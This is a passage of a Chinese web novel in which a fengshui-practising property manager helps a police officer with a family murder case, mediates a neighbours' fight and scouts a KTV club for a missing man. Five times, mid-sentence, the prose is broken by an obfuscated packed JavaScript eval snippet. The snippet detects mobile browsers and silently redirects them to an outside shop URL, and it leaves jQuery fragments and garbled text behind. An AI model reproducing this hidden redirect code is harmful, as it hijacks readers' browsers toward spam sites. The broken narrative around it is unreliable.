“林警官，这个推算包括了地理、自然科学、建筑设计等很多道理，确实一句两句讲不明白。但是你看到了，反臭问题解决的位置很精准啊，屋里其它地方都没有破坏，唯独有问题的地方，也确实有问题。”我还是从容不迫。 林翔看看我，没有再继续探讨，而是突然问我：“关于刘才东，你查到什么了？” 第三十二章 林翔能处 “我看到了当天的监控，刘才东当时的神态有问题，明显有心事，而且，他到老谢家门前并没有想进去，是里面的人把门打开了。我还是认为刘才东是受害者，并不是凶手。” 林翔看着我，示意我继续说。 “还有，凶案现场现在被封，我无法进到室内，如果有机会进去，也许我还会发现什么也说不定。”我很镇定的看着林翔，有什么说什么。 “吕向荣，你最大的优点就是诚实，这一点我很欣赏。刘才东确实如你所说，是被里面的人让进室内的，但是这个人是业主还是凶手，我们不知道啊，如果是凶手呢？如果他们是合谋作案呢？你想过这一点吗？” 我哑然，客观上看，有这种可能。这是一个优秀的警察应该具备的品质，重证据，不放过一切疑点。 “我没想过这一点，林警官，你看问题的角度确实很犀利。”我如实肯定。 林翔没再盘问我，而是指挥其他警察收队。 临走的时候，他想了想然后回身和我说：“吕向荣，明天，你在老谢家门前等我，我给你机会，带你去看看现场，站在你的角度看看会不会有什么发现。” “好咧，谢谢林警官！”我微笑着想，“这林翔，能处！” 这时候王姐走过来，热情的和我说：“向荣弟弟，你帮了我这么大忙，我给你钱就显得我们的关系太物质了，你有什么需要我帮忙的地方，你尽管说。对了，我刚才好像听见你和警察在说老谢家的案子是吧？刘才东你认识？” “认识，刘才东是我哥。”我回。 “哦？还有这么一层关系呐！好，姐知道怎么帮你了。我认识一个人，他应该能知道刘才东的消息，我带你去和他唠唠，你看怎样？”王姐竟有这门路。 “姐啊，你既然有这个线索，刚才为什么不告诉警察呢？我找我那哥哥都要急的不行了！” 王姐看着我焦急的神态，小声和我说：“这个人，身上有事儿，不能见警察，我没办法和警察说，现在和你说也是一样的呀，目的都是找到人不是。” 我登时了然，原来又是一个不能见光的，好吧，只要能有刘才东的线索，这个人我去见，答应了王姐等她电话。 回程的路上，我和王敬之探讨着：“师哥，荟萃亭原址是垃圾场，不做一些修复，恐怕以后环境还是会不好的。恐怕还会有这样那样的问题出现。” “是，我和你想的一样。但是咱们也没什么身份帮人家修复呀，再说这种事，你说出去也没几个人会相信的。”王敬之叹气。 我陷入了沉思，想找出一个既可以修复，又可以有身份去做修复的办法。 第二天，我去赴林翔的约，稳妥起见，没有带王敬之。 老谢家的别墅比王姐的还要大，一共三层，顶楼完全都是健身和运动的地方；二楼是卧室，女主人和男主人一间、女主人父母一间、一双儿女一间；一楼是客厅、厨房还有客房；除此之外每层都有卫生间。 房子是女主人的父亲买的，也就是老谢，男主人姓赵，属于倒插门女婿。 老谢早年一直经营建材生意，积攒了一些家底，这个房子实际上是开发商抵给老谢的顶账房。 “吕向荣，这屋里的全部你都不可以碰，只能看，明白吗？”林翔告诫我。 我点点头，跟着林翔一点点往里走。 林翔一边走一边给我介绍： 一楼客厅位置是老谢，一刀致命，没有过打斗，厨房位置是老谢爱人，有打斗，身上刀伤多处，但是没有发现什么脚印和指纹，怀疑凶手清理过现场。二楼只有两个孩子，睡梦中被杀，一样的，也没有发现可疑的脚印和指纹。三楼的痕迹最多。 随着他的介绍，我们已经来到了三楼。 三楼应该是业主重新改造过，东西打通，所以整个一层都是健身的场所，朝南是一面墙的玻璃窗，室内阳光满满，地上的血迹和圈出的女业主被杀位置尤为显眼。 “我觉得哪里不太对。”我自言自语。 林翔疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158100|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问：“什么哪里不对？把话说清楚。” “你看这整面墙的玻璃，上面也修了床帘滑道，可是帘子呢？”我看着林翔发问。 林翔惊觉，“帘子？第一次来现场的时候就没看到啊，奇怪，确实应该有帘子。” 他说完开始寻找洗衣机，我知道他是想看看是不是拿去洗了，我也帮他找。 楼上楼下一共两处洗衣机，空空如也。 “吕向荣，你还有什么发现？”林翔又问我。 “林警官，我认为死亡人数不是5个，是7个。”我淡淡的说。 “七个？你怎么知道？另外两个人是谁？”林翔惊讶的问。 “另外两个人，一个是男主人赵明，另一个是刘才东。” “这两个人我们都没见到尸体，你空口无凭就说他们已经死亡吗？”林翔不信。 “林警官，我知道你无法相信，我也能理解你的无法相信。当我走进这间房子，感受到虽然阳光充足、但是体感却很冷，感受到这个磁场的不干净，看到厨房和客厅都设计在凶位，我就知道男主人赵明凶多吉少。至于刘才东，我听说 他失踪的时候，就卜算过，他的命局显示为死门。” 林翔听着我这些话，明显有些抓狂，他想发火，但是想了想又忍住了。 我很想知道他的想法，于是我问他：“林警官，咱们也算是打过几次交道了，彼此的思维方式和人品大致，都有简单的了解。我知道你有不满，有话要说，你可以直接说，现在只有我们两个人，难道还不能畅所欲言吗？” 林翔绷紧的身体稍微有些放松，转过头看看我，紧锁的眉头依旧是没有打开。 “向荣，你是知道的，命案是大案，尤其这种灭门的，下到群众，上到各层领导，那要等看的都是证据。你和我说的这些，你觉得能拿出来说吗？会有人信服吗？别说他们，首先我就不信。你不要以为你治好了我的病，就能完全的征服我，现在这可是人命关天的大事，绝对不能信口开河。” 第三十三章 打架 我看着义正言辞的林翔，明白他的用心良苦，想了想，我说：“这样吧，林警官，打今天开始，我也帮你寻找赵明和刘才东的下落，咱们以破案为第一，其它意识形态上的问题没必要争论个你对我错，可否？” 林翔错愕了一下，然后定定的看着我说：“好呀，如果你能帮我们找到这两个人的下落，我一定帮你申请个奖励！” “好，一言为定！”我微笑着看着林翔。 林翔没有了脾气，叹了口气说：“从老到小五个人，就这么没了，尤其那两个小的，我也想过，如果凶手是赵明，那也太狠了，自己的孩子也舍得下手。但是人性这个东西是没有道理可言的，在很多关键时刻，人性是可以变的。” “林警官，我赞同你的说法，人性确实是最不可捉摸的。但是说刘才东是凶手，我指定不信，刘才东绝对是百里挑一的好人。他杀他们，什么动机呢？” 林翔想也没想就说：“求财啊，刘才东老父亲患了癌症，你不知道吧？我们把他的银行账户都清查了一遍，发现就在案发后三天，突然就多了一笔50万的进账，这你怎么解释？” “什么？这”我愣住了，这信息量太大了，远远超过了我考虑到的范围。 林翔白了我一眼，继续说：“如果你知道，就在老谢家灭门前一周，刘才东夜里跟着女业主出门，消失3个小时，又跟女业主回来，你不会怀疑他吗？” 我立刻想到物业王哥和我说的，刘才东帮忙出了趟夜门的事，“这不可能是疑点，这事我知道。” 我把这件事的内情告诉了林翔，还告诉他不信可以去物业找那两个保安取证。 林翔略微迟疑了一下，又说：“还有，刘才东的手机为什么在赵明经常去的那家健身中心的储物柜里？这你怎么解释？” “这我不知道，但是，如果你把现在整个事情的经过告诉我，我一定会把来龙去脉弄明白。” “你弄明白？用你那些封建迷信？那要我们警察干什么！”林翔不想再继续话题，往门外走去。 “吕向荣，还有啊，那个汤药我快喝完了，你啥时候给我号号脉，看看下一轮怎么喝。” 我看着一脸真诚的林翔，笑着和他说：“随时啊，你这个病我一定给你治好喽！” 跟林翔分开后，我回到自己的物业办公室，这几天的奔波给我弄的很疲惫，看看没有什么事，决定回宿舍休息。 就在回去的路上，我突然想到，好久没有穆艳红的消息了，也不知道3号有没有再出来闹事，决定先去穆艳红家的位置转转。 这一去不打紧，一眼就看到穆艳红客厅的大窗帘大打开，再不是全封闭，难不成警报解除了？ 我又看了看对面的3号，奇怪，3号家的客厅相反被帘子捂的严严实实的，什么情况？ 不解开谜底我也睡不着，于是我先给林皓打了电话。 “林哥，3号最近有什么状况么？他家咋捂的严严实实的？” “向荣啊，你可回来了，3号家出事了！”林皓在电话里说。 “出什么事了？3号还是3号爸爸？” “3号爸爸，前几天突发脑出血住院了，120从园区门口走的时候，我们都见着了，3号哭的跟个泪人似的。也难怪，就这么一个老爸，他还是个聋哑人，等于是天塌了。”林皓在电话里感慨。 “林哥，穆艳红最近怎么样？”我又问。 “她没事啊，我看一天天的打扮的可美了，应该是完全从阴影中走出来了。对了，她还要谢谢你呢，给你写表扬信。” “可别，这有啥的，分内的事，她没事就好，我们就能睡个安稳觉。” 又寒暄了几句，我结束了和林皓的通话，心里不禁替3号担忧，如果他爸没抢救过来，也够他喝一壶的。 第二天我休息好了，准备去找林皓，现在这小区的违建解决了、穆艳红的事也告一段落没什么事了，我想回我原来的管片去。 林皓听了我的想法，确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158101|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实目前这边也没什么事了，同意了我的申请。 其实我是有自己的打算的，我准备帮林翔找到另外两具尸体，在林皓那边，上面有个领导，总觉得还是施展不开，不如回自己的一亩三分地自由。 王敬之一直跟着我，我看他越来越“进入状况”，心里很高兴。 有他陪着我真不错，生活没那么孤单，而且他做的一手好菜，我忽然觉得生活变得有滋味了。 有时候吃美了，我还不忘恭维他几句：“师哥，你可真的是我的好哥哥，文武精通，这菜做的太地道了！你说你这么好，谁找到你做了丈夫，那可美坏了。” “贫什么贫，我自己有多好我自己知道，不用你夸。有这闲工夫，你好好想想怎么去找尸体吧，这都多少天了，你就是吃了睡睡了吃，你当警察都吃素的啊，人家可没停歇的在找呢！”王敬之白了我一眼。 其实这个事我也知道，但是现在知道的信息太少，按照术数的推理，总是提示刘才东的位置在市中心，那里就是一处大型的歌舞场所，我怎么下手呢？ 我把问题和王敬之说了，王敬之想了想说：“好办呀，咱们就当做客人去 玩两天呗，观察观察。” “师哥，我可从来没去过这种声色犬马的地方，应该也挺贵，你去过咋的？”我问。 “我也没去过，这有什么可怕的，没吃过猪肉还没见过猪跑啊，俩眼一抹黑，谁认识谁。咱俩就一人点一杯啤酒，他们能撵我们走么？”王敬之一点也不惧。 “那行，那就去一趟！反正有你跟着，出了事我就说你是我哥，都你担着。”我贼兮兮的瞅着王敬之。 “嘿，你个臭小子，你要敢给我惹事儿你走着瞧。”王敬之狠狠的瞪了我一眼。 我俩聊的正欢呢，李壮慌慌张张的跑进来，上气不接下气的说：“吕经理，打架了、打起来了！你快去看看吧。” 我一愣，严肃的说：“李壮，你把气喘匀了，慢慢说，到底咋回事！” 第三十四章 门上镜 “来不及了，再不去，要出人命了，路上我给你说！”李壮拉着我就往外跑。 出去的这一路我听了个大概，打架的是某单元三楼的两户业主，两家住对门，很长一段时间了，关系就很紧张，属于那种见面都不带说话的。 今天不知道因为什么就打起来了，还动了家伙事儿，楼道里的保洁看到了，赶过来通知李壮，李壮就告诉了我。 “他们因为什么打仗？报警没有？”我问。 “具体因为啥，好像是吵吵谁家摆了一个什么东西，另一家不同意，应该是还没报警。” 说着话我们赶到了楼下，我就听见楼上叮咣的干架声、踹门声、盆掉地上的声音，还有孩子的哭声。 看来还挺严重，远亲不如近邻，这还住对门，何必呢弄这么紧张，孩子都吓哭了。 等我三步并作两步跑上楼一看，两家的男业主正互相掐在一起，女业主在旁边也揪着彼此的头发，有几个邻居在拉架，也有围着看的。 “让一下、请让一下，各位业主，都散了吧，各回各家吧，我们物业来处理。” 在我的劝说下，人群稀稀拉拉的散了，这两家的业主却还保持着原来的姿势，谁也没有撒手的意思，嘴巴里还骂骂咧咧的。 我走上前，看着两家业主的狼狈相，拍拍李壮去拉女业主那边，我拉男业主这边。 这两户人家，年龄稍长一些的是电梯右手边，姓钱，年龄稍年轻一点的是电梯左手边，姓李。 “钱哥，都是邻里邻居的住着，有什么大不了的事要动手呢，有话好好说，啥事都能解决，先撒手，好不好？你看看孩子看着多不好，都吓哭了。”我劝。 李壮那边也劝着两家的女业主。 这时候老钱的老婆喊：“他们恶人先告状，他们在门上安个照妖镜，还来找我们的茬，谁怕谁，打就打！” 边喊还边加重了拽着老李老婆头发的力度，老李老婆也不示弱，用脚使劲的踹着。 老李家孩子是个女孩，才五岁，看见自己妈妈吃疼，吓得哇哇大哭，老李听见孩子的哭声，手开始松动。 我趁机扯下老李的胳膊，拦住又要动手的老钱。 “好了、好了，钱哥，算了！”我加重了语言的力度，想好了如果再劝无果，就报警。 两家男人撒手后，分别去拉开了自己家的女人，我一看，好么，俩女的脸上都挂了彩。 “吕经理，你来的正好，你给评评理，他老李家在正门上挂个镜子，妥不妥？”老钱大声吼着。 老李也不服，吵嚷着说：“怎么着？你看看你们家，这电梯口就这么点位置，你们那鞋架、菜筐、还有这些破烂，占了多少地方，你问过我们的意见吗？这是公共区域，不是你们自己家地盘！” “摆这怎么了？放你家门口了吗？我们家东西多，屋里放不下，这地方是公共的，我们就可以用！”老钱老婆也吵吵起来。 “你们用，你们那些东西又臭又脏，每次到家门口都是一股子晦气，你们把自己家晦气都摆外边了，我们化化煞不行吗？”老李老婆也不服软。 我一听，原来是这么回事呀，我又仔细看了看这电梯口，确实，摆放了很多不用的闲置物品，有些都摆到消防通道去了。 “钱哥、小李，如果你们真的相信我，我就给你们说说，希望对你们有帮助。”我准备好好“表演”一番。 “好，吕经理，你的为人和本事我们都是信服的，你说吧，如果有道理，我们一定听！”小李心平气和的表示，老钱也没反对。 我看着四个人殷殷期盼的眼光，不紧不慢的说：“很多人认为？家门上放镜子具有辟邪作用，可以反射负能量，将其反弹回去，从而达到驱邪的效果。但事实是，要有科学根据，比如参考家人的生辰八字、喜用五行以及房屋的方位，不可以随意摆放。随意摆放可能会给家人带来不好的运势，还会反射家门口的福气和财运，导致家庭风水不好。” 几个人面面相觑，尤其听到怎么摆放还有讲究，要参考很多因素的时候，小李有点着急了，他担心因为自己的一时冲动给自己家带来不好的运势。 “吕经理，那你看我这、这，是不是已经有不好的影响了？我得怎么化解呢？”小李急急的问我。 我看看他，想了想说：“镜子的五行属金，门的正前方放镜子，有阻挡财神之意。门左侧放置镜子，相对来说是较好的位置，因为左侧是青龙位；大门的右侧属于白虎位，放置镜子容易形成煞气，更不能将镜子对准邻居，会引发风水大战。所以，小李，你这个镜子还是尽快摘下为好。” 小李恍然大悟的看看我，又看看自己老婆和还在抽泣的孩子，赶快进屋去取凳子摘镜子。 老钱看小李这么痛快就去摘镜子，很得意，我看老钱没有意识到门口摆放杂物的危害，决定敲打敲打他。 “钱哥，您这门口摆放杂物在风水学上也是有讲究的，对你和嫂子的运势绝对有百害无一利。” 还没等钱哥说话，他老婆就着急的问开了：“吕经理，你快给说说咋回事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158102|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？我说呢，最近在单位怎么这么不顺，领导老找我毛病，发个信息还发到 对手那里去了，真的烦死了。” 我看老钱也迫切的盼着我说，就直言不讳的说了我的看法。 “在风水学中，大门是家中财气进入的主要通道，门口堆放杂物，财气就无法顺畅地进入家中，导致家庭财运不佳，影响家庭的整体运势发展，还影响家庭成员的健康。杂物堆积会带来卫生问题，而且您这个都摆放到消防通道了，前段时间电动车飞线着火，我们这里已经是消防局备案的重点对象，堵塞消防通道是违反规定的啊！这违章处罚的事情，为什么要做呢？” 老钱尴尬的摸摸脑袋，拍拍身上刚才被小李踹的脚印，抱怨的说：“我说呢么，这回涨工资本来内定的就是我，我还给领导递了红包，可最后竟然被别人给挤掉了。” “这些破烂东西，不用的就扔掉嘛，断舍离懂不懂？”老钱对自己老婆说。 我知道他是在缓解尴尬，看着这架也打不起来了，我想应该给两家个台阶下。 “钱哥，你说得对，断舍离，您这么有觉悟，消防通道乱摆放的问题，我相信你今天就能解决掉，这事咱也不对外宣传，有错及时改正就是好同志！” 老钱听到我的表扬，讪讪的一笑，偷眼看了看小李，和小李还在惊吓中的女儿。 “李啊，对不住啊，今天这事，给孩子吓坏了。” 小李一看老钱年长，还这么有涵养，不和他计较自己老婆被抓伤的事情，也不好意思了。 “钱哥，我也不对，不该搞个什么镜子，结果反倒先害了我自己家，我媳妇儿昨个失业了，所以” 老钱和老钱老婆也都恍然大悟，顿时释然了，都不生气了。 老钱老婆忙不迭的说：“弟妹，失业别怕，现在机会多，很快就能找着。我今天就把门口都收拾干净，别上火。” 我一看这两家业主情商都在线啊，懂进退，心里很高兴，心里一高兴我就想嘚瑟一下。 “钱哥、小李，不瞒二位说，您两户房子所在的方位和户型、楼层，都是咱们园区最不错的，平时多注意言语上的积极正向、室内室外的通透整洁，很快你们目前遇到的困难都会迎刃而解。” “真的吗？吕经理，有你这句话，我们这些天的烦心事都解了！”小李的老婆说。 “我不打谎语，是真是假咱们拭目以待。”我微笑的看着他们。 就这样，一场大战终于化为玉帛，我和李壮开心的返回物业办公室。 第三十五章 名都KTV 李壮担忧的问我：“经理，你刚才说他们的困难能很快解决，如果没有很快解决，可咋整？” 我看看李壮，假意生气的说：“怎么的？你不相信我？” “啊、啊，不是不是，我以为你是为了安慰他们才说的呢，只要你是经过推算的，那肯定准啊，我相信你！”李壮一着急就脸红，朴实的小伙子，我看着他红红的脸，笑了。 “你啊，太实在，以后遇到事先动动脑筋再说话，省的吃亏，记住没？”我提醒他。 李壮嘿嘿的笑了，点点头表示记住了。 现在这么实诚的小伙子不多了，社会就像是一个大染缸，稍有不慎就会变节。 我不禁想到刘才东进账的那50万，到底是不是他替人销赃呢？头疼。 我跟王敬之踩好了点儿，捯饬捯饬，换了一身适合娱乐场所的衣服，就去了那家位于市中心叫做“名都”的ktv。 第一次来这种地方，听着震耳欲聋的音乐，看着里面乌泱泱的人，我头都大了。 现在的人也不在乎养生了，爱到这样的环境消遣，甚至于到下半夜也不休息，错过肝肾、气血等很多身体功能的自我修复和调节时间。 很多的疾病就都找上来了，患心脑血管疾病那都是有可能的。 王敬之推了我一下，拽回了我为众生担忧的思绪。 我们俩在吧台找了个位置，不敢点别的，怕钱不够，一人来了一杯啤酒，边喝边四下打量着环境。 这时候我发现一个人一直在盯着王敬之看，是个女的，还挺好看。 我用胳膊碰碰王敬之，示意他看那个女的的方向。 王敬之顺着我的示意看过去，愣了半天，竟然开始发呆。 这可是我头一回见着王敬之瞅个女的发呆，平时看到女的都不知道怎么迈步的家伙。 我也开始仔细的打量起那个女的，长相确实很标致，在这里五颜六色的灯光照射下，不是很容易看清全脸 正犹疑的时候，走过来一个男的，西装笔挺，凑近我们说：“二位先生，我们小姐想邀约你们过去喝一杯。” 我一看，正是那个女的，在向王敬之招手。 我知道人家主要是冲王敬之，所以没有贸贸然答应，看王敬之啥意见。 结果，王敬之竟然瞅都没瞅我，直接就走过去了，我赶紧屁颠颠跟上。 走过去一看，挺大的卡座，只有两女一男，身边站着五六个，敢情都是保镖。 还没等我判断完形势，那个女的说话了，“小哥哥长得真帅，可以认识一下么？” 王敬之腼腆的点了点头，天！这还是我师哥吗？他竟然面对一个女人的主动示好点了点头！ “我叫冯晶晶，今年20岁，小哥哥叫什么？” 我打量着这个20岁的小姑娘，确实是“小”姑娘，很青涩，但是对这种地方却不青涩，一看就是常来，她眉眼里透露的还是属于孩子一般的纯真。 “我叫王敬之，大你六岁，叫哥，不要叫小哥哥。”王敬之竟然一点也不紧张。 冯晶晶又看向我，“哦，我啊，我叫吕向荣，是他弟弟，也比你大，你也得叫我哥。” 冯晶晶示意旁边的保镖给我俩的杯子里倒满了酒，然后像豪迈的大姐大一样说：“二位小哥哥一定是第一次来，看着好干净的样子，尤其是敬之哥哥，第一眼看到好像在哪见过，既然有缘分，我们干一杯吧。” 我一听就想乐，这么大点儿个屁孩子也知道讲缘分，还挺逗，刚想说话，看见王敬之狠狠的瞪了我一眼。 我知道他是在警告我不要说话，我乖乖闭嘴，跟着王敬之一起干了杯中酒。 “晶晶，你这个年纪还在念大学吧？”王敬之竟然也懂和女人聊天。 “对啊，今年大二了。”冯晶晶一点防备心都没有。 “那你来这样的地方，你爸妈同意吗？”王敬之又问。 “哈哈，这就是我爸开的呀，这里是我家的地盘。”冯晶晶哈哈的笑着。 怪不得呢，这么多保镖跟着。我瞅瞅王敬之，那意思“师哥真牛，一不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158103|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心还泡了个白富美”。 王敬之依然是回以我怒目，我知道我今晚必须不能说话。 “晶晶，我们确实是第一次来这样的地方，你带我们到处转转呗，这里有啥好玩的？” 王敬之的这个邀请实在是太棒了，正好可以寻找一下刘才东的蛛丝马迹。 “好啊，走呗！敬之哥哥，以后我们就是朋友了，把我的联系方式存一下。” 我一边走一边看着王敬之把自己的电话号码、qq号全都告诉了冯晶晶，也把冯晶晶的这些都记了去。 我们跟着冯晶晶把名都ktv里面走了个遍，这里除了一楼有个大的舞池之外，二楼还有单独的包间，都是唱歌的地方。 也有穿的很暴露的姑娘，陪着来玩的客人喝酒唱歌，我眼见着有一个大腹便便的老男人把手放在人家小姑娘白白的腿上摩挲 冯晶晶她爸到底干啥的，能经营这样的场所？ 她爸和刘才东的死没关系吧？ 冯晶晶家跟刘才东所在的那片小区有啥关系么？ “晶 晶，你家是住在西郊的荟萃亭吗？”我实在忍不住发声。 “对啊，向荣大哥，你怎么知道的？”冯晶晶眨巴着大眼睛问我。 我一听，全对上了，包括王敬之推算的苦情痣方位都对上了，看来术不骗人。 “哦哦，我猜的。”我随口说。 “向荣大哥，你不厚道哦，哪有人猜这么准的，你也不认识我，怎么猜的？”冯晶晶不依。 这时候王敬之说话了，“晶晶，他是风水先生，所以他知道，会算。” 冯晶晶一听，立刻来了兴趣，“太好了，我们家正好有事需要找风水先生呢，向荣大哥跟我去见见我爸呗。” 我瞪了王敬之一眼，未经过我同意，就胡说八道，真是可恶。 “晶晶，你别听他瞎说，你住哪那是我蒙的，咱们这座城市最豪华的住宅区莫过于荟萃亭了，你说你家经营这么大歌舞厅，那肯定是八九不离十就住那里啊。” 第三十六章 矮囤矬 冯晶晶明显有些失落，而且她好像更相信王敬之，随手拿起电话拨通了一个号码。 “喂，李阿姨，请让我爸接电话。” “什么？要紧吗？哦哦，好的，我马上回去。” 冯晶晶着急的挂掉电话，边往外走边说：“两位哥哥，我爸晕倒了，我得回家看看他，过几天我们再联系。” 我和王敬之还没来得及关心的问问缘由，她已经走远了。 “师哥，你今晚上咋回事？渣男附体啦？以前那秀米劲儿都哪去了？”我想逗逗王敬之。 “我第一眼看见她，就觉得很面熟，一点陌生的感觉都没有。”王敬之竟然没生气。 “难不成，真的遇到你的前世姻缘了？是她么？她可是比你小六岁，那是六冲！”我提醒他。 “我不知道，我对她只是感觉熟悉，没有那种男女之情，也没有怦然心动啥的。”王敬之还是很耐心的给我解释。 我知道其实他也是在给自己解释，通过这样一说，他能明白他心里真正的想法。 冯晶晶走后，我和王敬之继续在名都ktv四处查看，没注意后面跟上来几个保镖。 “先生，二楼是包房区，你们是要开包房唱歌吗？”为首的那个问我。 我一看这群人，叫保镖，其实跟我们物业的保安它是一个意思，人家盘问也是正章。 “哦，我们不开包房，迷路了，我们想去跳舞那里的吧台。”我确实也准备撤了。 这时候从远处走过来一个人，周遭的气场让我觉得压抑起来，于是我警觉的看着他。 矮囤矬，但是很结实，不是那种囔囔踹的肥膘，眉头很小眉尾炸开，脸部骨骼非常明显，单眼皮、眼睛细长眼球小，眼神给人的感觉像一把寒刀。 这种面相的人自私自利、相当阴险，脾气暴躁、多疑，翻脸不认人，很无情。 他也一直看着我，然后命令式的口吻说：“这里不让参观，你们是干嘛的？” 他这种语气让我很不舒服，我不想回答，但是想想后续还是会来找线索，忍下不快。 “走错路了，来玩的。”我也冷冷的看着他。 我这人不惹事儿，但是面对叫嚣的，我也不怕事儿。 王敬之在身后拽拽我的衣角，我明白他是让我忍耐，赶紧走。 “你们几个，把他俩带到他们想去的地方，别让他们乱走知道吗？这里不是谁想来玩就能来玩的！”小矮子又一顿输出。 我理都没理，直接跟王敬之朝楼下走去。 一边下楼一边想，“这个人的气场很凶悍，还有一种似有若无的牵引，难不成要跟他有什么事发生？” 到了吧台，我用眼神告诉王敬之，没有发现，收队吧，王敬之表示赞同。 回到住处，我越发想不明白小矮子给我带来的感觉是什么，于是想问问王敬之有啥看法。 谁知道这家伙在电脑前噼里啪啦的忙活上了，之前从没有过，我赶忙凑过去看。 “呦呵，女的啊，这头像！骄阳似火，谁啊？冯六日？”我像个好事分子一样热切的询问。 “吕向荣你不累啊，一边呆着去，别来烦我。”王敬之恼了。 我委委屈屈的不敢吭声，心想，“这个家伙，还没咋滴呢，就对我不关心不爱护了，要是真好上了，估计都得把我忘脑后勺子去。” 王敬之看我半天不说话、也不走，停下敲键盘的手，瞅瞅低落的我，说：“喂，你小子，瞎琢磨什么呐，我们是兄弟情，六日是劫数要还，懂不懂？至于今晚上那矮子，你以后要留心就对了，那绝对是恶人一个，整不好刘才东就是被他害的。”说完又投入到聊天大战中。 “师哥，知我者师哥也，得令，我睡觉喽！”既然师哥跟我有同感，我就放心了。 跟我斗，我是不怕，恶人咋的，自古就是邪不压正，这可是老祖宗说的，睡觉！ 第二天还没醒，我的手机就一直响，是谁呢？这么早、又这么执着。 “喂，我是吕向荣，请问哪一位？”我迷迷糊糊的问。 “向荣弟弟，还没起吧？我是你王姐。” 一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158104|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是王姐，我的困意全无，“早啊，王姐，这么早你是不是有事啊？有事您说话。”我哈哈的笑着。 “弟弟，确实是有事，要不然也不会这么早打扰你。我之前和你说的那个人，就是要带你认识的那个人，想见见你。” “哪个人？为什么要见我？”我被说晕了。 “就是我和你说过的，他有可能知道刘才东的线索啊。你帮我家解决反臭的事，我们圈子里都传开了，冯哥也知道了，就联系我说想认识认识你。”王姐解释。 “冯哥？”我搜寻着这个称谓，想着要不要去，这与我一向低调的处事风格有违背。 但是一想到他能知道刘才东的线索，还真就得走一趟。 “行啊，那我们几点、在哪见？”我一口答应下来。 “弟弟，这是人家请你，你就在住处等着就行，给我发过来地址，他们派车去接你。” 跟王姐没有继续寒暄，约了见面聊，就结束了通话。 “师哥，你要不要和我走一趟？” 我的电话声音大，王敬之一定都听到了。 “我想跟你去一趟，我觉得这个人会跟晶晶有关系，一个姓。”王敬之已经开始起床准备。 对啊，确实都姓冯，难道是巧合？ 我们和王姐会和后，一同来到冯哥家，果然是荟萃亭。 “姐，还是荟萃亭，你们是邻居？”我好奇的问。 “对，其实我们圈子里很多人都住这里，基本都是顶账房，老冯是开发商之一，所以我们都认识。”王姐解释。 我一听开发商，不禁想到这不负责任的动土，明明就是垃圾场，却还不做好基础工作就盖房。 立刻对这个人的印象打了折扣，我看看没说话的王敬之，知道他也和我想法一样。 “向荣啊，老冯呢，生了一种怪病，平时就是好人一个，说不准啥时候，忽然就能晕倒，整个人卡吧就倒那种，遍寻各大医院都没有看出个子午卯酉。我听说昨晚上他又发病了，所以一会儿啊，如果他说说话就嘎了，你们别害怕。” 第三十七章 怪病 我一听，心里笑坏了，真的是恶有恶报，这就是干坏事的果报。 但是又一想，这些都是自己的主观臆想，人命最大，如果能救他脱离病痛，也是好的，就看他是什么机缘吧。 “王姐，这个人是不是有个女儿叫冯晶晶？”我问。 “对啊，你怎么知道？”王姐惊讶的说。 “哦，昨晚上我和师哥去名都ktv认识的，这个小姑娘说她爸要找懂风水的，世界还真小啊。”我了然了，一切都对上了。 